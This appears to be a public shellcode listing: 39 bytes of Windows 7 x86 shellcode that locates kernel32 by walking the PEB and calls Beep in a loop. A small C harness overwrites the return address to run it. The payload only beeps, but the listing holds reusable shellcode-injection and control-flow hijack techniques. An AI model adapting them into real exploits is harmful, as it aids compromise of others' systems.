Windows Seven Pro SP1 64 Fr (Beep) Shellcode 39 Bytes

#include <stdio.h> char shellcode[] = "\x31\xC9" //xor ecx, ecx "\x64\x8B\x71\x30" //mov esi, [fs:ecx+0x30] "\x8B\x76\x0C" //mov esi, [esi+0x0C] "\x8B\x76\x1C" //mov esi, [esi+0x1c] "\x8B\x06" //mov eax, [esi] "\x8B\x68\x08" //mov ebp, [eax+0x08] "\x68\x11\x11\x11\x11" //push 0x11111111 "\x66\x68\x11\x11" //push word 0x1111 "\x5B" //pop ebx "\x53" //push ebx "\x55" //push ebp "\x5B" //pop ebx "\x66\x81\xC3\x4B\x85" //add bx, 0x854b "\xFF\xD3" //call ebx "\xEB\xEA"; //jmp short int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }